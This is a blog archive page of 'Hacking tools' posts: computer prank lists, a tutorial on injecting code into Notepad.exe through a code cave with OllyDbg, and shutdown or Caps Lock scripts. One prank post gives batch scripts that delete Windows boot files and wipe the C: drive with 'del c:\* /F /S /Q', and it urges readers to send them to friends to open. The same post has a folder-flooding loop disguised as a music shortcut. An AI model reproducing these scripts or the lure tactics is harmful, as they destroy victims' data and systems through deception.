Showing posts with label Hacking tools. Show all posts

The 10 Most Ridiculously Awesome Geeky Computer Pranks

Posted by kk in Hacking tools, Others, Useful Softwares on Tuesday, November 8, 2011

Everybody loves a good prank… unless you are the one on the receiving end of the fun. It’s time to hone your pranking skills, not just to make sure you are the best, but so you can avoid being pranked by others.

Yeah, sure, we could go with the old standards, like a blue screen of death screensaver or something like that, but it’s time to use our geek skills and come up with something better. We’ll cover some of the old favorites too, but maybe with a twist. Note: Many of these pranks require being able to access somebody’s computer physically, and many others require them to leave their PC logged in and unattended. You’ll have to plan accordingly.

Disclaimer: Get a sense of humor.

Make the Space Key Write the Word SPACE

Here’s a clever prank for you: Make the victim’s computer actually type the word “SPACE” every time they hit the space bar. They’ll be lost trying to figure out what on earth is going on, and it couldn’t be simpler.

Just create a new AutoHotkey script and drop in the following two lines of code—the first one is to hide the tray icon, and the second sets up the hotkey for replacing the text.

#NoTrayIcon
*Space::Send,SPACE

You’ll probably want to right-click on the script and compile it to an executable before putting it on their computer. I’m not providing a download for this! Just stick it somewhere on their PC, launch it, and watch the fun!

What’s really entertaining is that while I was testing this out, I accidentally pranked myself—my AHK scripts are stored in Dropbox and synced across all my PCs, and I’d forgotten about it on my desktop. Whoops!

Pretend to Install Linux on a Windows User’s PC with a Live CD

This one can’t be simpler—just find somebody at work who turns their PC off at night, come in before them, and boot off a Linux Live CD. Then leave an official-looking memo on their desk saying they’ve been upgraded to Linux, and watch them struggle to figure out what on earth they are doing. You’ll probably want to get rid of the Install icon, of course.

Create a Shutdown Shortcut that Looks like a Folder

This one is really simple to do—just create a shortcut to shutdown.exe on the desktop, and then change the icon to a regular folder, so when they double-click the folder to see what it might contain, they get a nice system shutdown notice instead. You can change the shutdown time to really far in the future so they won’t lose any work, but mostly so they get the full benefit of your nerd skills.

shutdown -s -t 1925000 -c “System error: overloaded porn folder”

If they are using XP, the effect is nice and dramatic, and you can even have some fun with the shutdown time… on Windows 7 you won’t be able to show off your geek skills quite as well, but they’ll still see something that will confuse them.

Note: on Windows 7 or Vista you’d also need to disable UAC or else they’ll see a prompt.

Switch the Keyboard Layout To DVORAK

If you really want to screw with somebody without installing anything, just enable the Dvorak alternate keyboard layout that even most geeks aren’t familiar with. When they type, everything will go haywire.

Head into Control Panel –> Region and Language –> Keyboards –> Change keyboards, then click the Add button and pick the Dvorak layout (or any other random layout you want). Once you’ve done that, use the drop-down above to set the default.

You’ll probably want to flip over to the Language Bar tab and set that to hidden as well, so they won’t be able to figure it out easily.

Plug a Wireless USB Mouse / Keyboard Into Their PC

This usually works out better if the other person has a desktop PC, because you can hide the wireless mouse or keyboard receiver behind their PC, and then every so often type an extra letter, or move the mouse slightly. If you do it right, you can have some fun with this one for a long time. The great thing is that this should work for almost anybody, including people that keep their computer locked all the time.

If they do have a laptop and a wireless mouse, you can simply replace their wireless mouse with an identical-looking one, since it won’t work for their PC. They’ll assume their mouse batteries are dead, and you can move the mouse pointer around the screen with their mouse. The prank won’t last as long, but it will be every bit as fun.

Obviously the picture, courtesy of ehavir, shows a wired keyboard—but it’ll work much better with a wireless setup.

Stick a Message Into their System Clock

We’ve covered this before, but you can easily stick custom text into the clock that sits in the taskbar—and most people won’t have a clue how to switch it back. Just head into Control Panel –> Region and Language –> Additional Settings –> Time, and change the AM or PM symbols to whatever you want. Or you can read how to do it for Windows 7 or Vista.

Reverse Their Trackpad or Mouse Wheel Scrolling

You can really throw somebody for a loop if you use a simple AutoHotkey script to flip their trackpad to scroll in the opposite direction. They’ll be completely confused! If they happen to have a laptop with a Synaptics touchpad, you can actually tweak this setting right in the Control Panel –> Mouse dialog, but otherwise, check out our article covering the script method, that should work anywhere.

How to Get the Worst OS X Lion Feature in Windows (Reverse Scrolling)

Add Common Typos or Funny Words to MS Word’s Dictionary or AutoComplete

There’s any number of possibilities for this one, and the sky is really the limit—the idea is that you put something custom into the AutoCorrect so whatever they type gets replaced with something else.

You can go subtle with it, and just replace a properly typed word with a typo instead, or you can get in their face with something more fun—like making anytime they type their name end up replacing it with “ is a jerk”. Loads of fun.

For Word 2007 or 2010, head to the Office button –> Options –> Proofing –> AutoCorrect Options. For previous versions… I have no idea. If you want this to be system-wide, you can use AutoHotkey instead.

Setup Task Scheduler Jobs to Launch Random Apps (or a Web Page)

Even a serious geek is going to be pretty lost on how to troubleshoot a new tab repeatedly opening to a certain page every couple of minutes, if you bury that inside the task scheduler. Just go in and create a new task, run through the wizard and pick the browser executable, plug the site name into the arguments box, and then set the schedule to repeat the task every 5 minutes.

Set the Mouse Pointer to Look Always Busy (to Make Their PC Look Like It’s Hanging)

Nice and simple, but oh so fun! Just head into Control Panel –> Mouse –> Pointers and change the Normal pointer to the busy one. They’ll think their computer is hanging all the time, but it’s really not. For extra fun, you could make the mouse pointers gigantic.

Activate High Contrast Mode (with a Single Hotkey!)

There’s a built-in accessibility option that can be very confusing to somebody who doesn’t know how to turn it off, and it requires only pressing one shortcut key sequence:

Shift + Alt + Printscreen

That’s it. Once you press that key combo, their desktop will get flipped to the high contrast mode—you can press it again to go back to normal. The great thing is that even if their computer is locked, you can enable high contrast with the icon on the lower left corner. On Mac OS X, you can press Ctrl+Opt+Cmd+8 to invert the screen’s colors.

The Old-School Favorite: Move the Desktop Icons, Take a Screenshot, Set as the Wallpaper

Most geeks have done this at some point in their career, because it’s both simple and irritating, especially for somebody who isn’t expecting it. The basic principle works one of a couple of ways:

Take a screenshot of the desktop with the icons where they are, set it as the wallpaper, and then hide the desktop icons.
Move the desktop icons around, or create bogus icons, take a screenshot, and then set it as the wallpaper. This way some icons work, and some don’t.
Take the screenshot of the desktop, and then hide the taskbar below the bottom of the screen before setting the wallpaper (this only works on XP). Even better: flip the image upside down before doing it.

The result looks something like the image above, assuming you followed the second idea and created a folder on the desktop that they’d be sure to notice right away. They’ll keep clicking, but nothing will happen.

Bonus? Combine this with the shutdown shortcut so when they do figure it out and try and open the folder… it’ll give them the shutdown prank too!

Computer Pranks

Posted by kk in Hacking tools, Internet Tools, Useful Softwares on Tuesday, June 14, 2011

Computer pranks to freak out your friends and make them crying for mummy

I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;)

1. Crash a Computer System With Nothing But a URL!

I stumbled across this URL while surfing the internet. This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM.

WARNING: CLICKING ON THE LINK BELLOW MAY CAUSE A CRASH! USE AT YOUR OWN RISK!

http://tiny.cc/ibJUN

2. Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.

REMEMBER - DO NOT CLICK THIS FILE. YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

Send it to your friends computer and tell them to open it. Have fun!!

Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It with Extension .cmd or .bat

3. Make over 1,000 folders in few seconds

Here I will teach you simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :

@echo off

:top

md %random%

goto top

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top, infinite loop

2. Save it as 1000folders.bat

3. After that you will get icon that looks as show below

People probably not going to click on an icon that looks like this picture so to make it better (funnier and easier to prank people with) make a short-cut to it

4. Right click on icon and click Create Shortcut

5. Right click on shortcut and click properties , then click on Change Icon and rename icon

Tell the person that you found the music they wanted and downloaded it on there computer, that way they will think its a shortcut to the music and they will click on it then they will think its loading so they wont exit right away when they finally realize its not going to load or so many errors have came up they realized somethings wrong it will be to late) also just something to know its impossible to delete them using cmd you HAVE to find all of them and delete them manually…

4. Microsoft Word Prank

Here , I will show you great microsoft word prank that will frustrate the victims very much, whenever they type a certain word, another word appears! This prank is great for office and schools.

1. Launch Microsoft Word

2. Go to Tools -> AutoCorrect Options…

3. In the space where it says Replace , type a real common word such as the, and, a,I, you etc. In the space that says With , type in a crazy word such as fdgfdhkihyob45, whatever you want! Then , click on Add

5. Cool Windows Prank

This will make it to where your friend cannot click on anything on the screen.

1. Take a screenshot of the desktop. You can use windows printscreen or some printscreen software.

2. Make your printscreen picture as desktop background.

3. Right click on desktop , then click Arrange Icons By->Show Desktop Icons (Windows XP)
Right click on desktop , then click View->Show Desktop Icons (Windows 7 and Vista)

That is it , when you click on the “icons”, nothing will happen!

Hope you'll have a lot of fan with these pranks. If you know other good prank feel free to mention it in comment.

Do you have questions, comments, or suggestions? Feel free to post a comment!

How to inject code into a exe file

Posted by Rahul Ghotekar (InOx) in Developer Tools, Hacking tools on Wednesday, May 11, 2011

*** THIS TUTORIAL IS ONLY FOR EDUCATIONAL PURPOSES!***

-Requirements-
At first we need a debugger. I prefer OLLYDBG(the best debugger on earth :P)
At twice we need a target application to inject our code.
I will take the windows NOTEPAD.EXE .
Make a copy if this EXE in a new folder named CodeInjectTest.
Thats all ;)

-Getting started-
Our goal is to inject some code into the Notepad.EXE .
In our case we'll inject a simple MessageBox at Notepads start.
Start up Notepad now and validize that Notepad is the original one.

[My Notepad screenshot]

If you're sure now that's the original Notepad open the Notepad.exe with Olly.
Yuppi! If you're ready you get this window:

[click to enlarge]

Because we're going to inject some code we've to have some space to inject it.
In a EXE file are a lot of CodeCaves were nothing is done (DB 00).
So lets scroll the CPU window a little bit down until you find a CodeCave(look below).

[CodeCaves]

Do you see the red box I've drawn for you? ;) THIS is a CodeCave!
Here we can inject some custom code without interfering the programs flow.
If you know the API call for a MessageBox you don't need to
read this lines.

***** START QUOTE FROM THE WIN32 PROGRAMMERS REFERENCE

The MessageBox function creates, displays, and operates a message box.
The message box contains an application-defined message and title,
plus any combination of predefined icons and push buttons.

int MessageBox(
HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);

***** END QUOTE FROM THE WIN32 PROGRAMMERS REFERENCE

This is all you need to know about the MessageBox.
Now its time to do something with the CodeCaves.
At first to use the MessageBox we need to create some text for output it on the
MessageBox. In the following picture I've selected some lines of the CodeCaves and
highlighted the BinaryEdit menu for you.

If you pressed on Binary=>Edit or (CTRL+E) you will see following window.
Just fill it out like me if you want.

Press OK and you'll see the modified code in red:

Press now CTRL+A to reanalyze the code.

OK! If you want to have a different MessageBox Caption than the title you can repeat this
step to make a second ASCII like the "INJECTED NOTEPAD".

-Some ASM-

Now its time for some ASM ;)
We need to invoke a MessageBox from ASM. This is quite simple!
PUSH 0 ; BUTTONS =
PUSH 1008751 ; CAPTION = Our adress of the "INJECTED NOTEPAD"
PUSH 1008751 ; MESSAGE = Same like above.
PUSH 0 ; ICON =
CALL MessageBoxA; Run MessageBoxA with the Params above.

This few lines entered in Olly should look like this:

Do you see the arrow?! THIS IS NOW A VERY IMPORTANT STEP!
If we save it now and run it you will NOT see any effect. Why?
Because our litte routine is not called yet!
You need to write down the Offset of your first "PUSH 0" because we
need to make a jump from the programs origin to here and back again ;)
If you noted the offset of the first PUSH down, goto the origin of the program like below.

Now you're at the FIRST line of code which will be executed.
Do you remember that the first thing we wanted to do is to run our code? :)
Yehaa! We're on the right way!
Select now from the origin some lines and copy it into the Clipboard.

Paste the clipboard into a texteditor and leave them there. We need this lines later.
If you have pasted it go to the first line of the program.
(In the picture upper it's the PUSH 70).
Double click on it and enter in the box "JMP "

Press on Assemble and you will the the again the red marked(patched) code.

Look to the redbox! This is the address we need to jump to after our injected code.
If we jump here after the injection the program will execute like without our injection :)
But there is one thing we need to do at least!
Compare the "new" origin with the old one you've pasted into a clipboard.
You will see that there are a few lines overwritten! But this lines are needed to run
the programm without errors. Identify the lines which get overwritten.
In my case the overwritten lines are:
PUSH 70
PUSH NOTEPAD.01001898

Click on the first line (our JMP) and press ENTER.
You'll dropped to your MessageBox invokation!
After our CALL MessageBoxA we need to insert now the overwritten lines AND the jump back!

NOW you're done!
(If you want to test the "JumpBack"-Jump just select it and press ENTER.
If you get to the right line you can be sure that's ok! If not check Offset!)
To save the "new" Notepad take a look the the following picture:

If you press on "All modifications" a new little window will be shown.
Press on "Copy All" on this window.
A new window with the new ASM code will be shown.
Close the new window (THE CHILD WINDOW! NOT OLLY DBG WINDOW!).
Then a save dialog let you choose a new filename.
Save the file and run it. If you're successful you will get this result:

Press on OK and Notepad will start normally ;)

-Last Words-
DO NOT abuse debuggers to attach shellcodes or things like that into EXEs!

Prank Your Friends Hardly…Most Dangerous Scripts!!

Posted by kk in Hacking tools on Monday, December 6, 2010

1) Convey your friend a lil’ message and shut down his / her computer:

Type :

@echo off
msg * I don’t like you
shutdown -c “Error! You are too **!” -s

Save it as “Anything.BAT” in All Files and send it.

2) Toggle your friend’s Caps Lock button simultaneously:

Type :

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop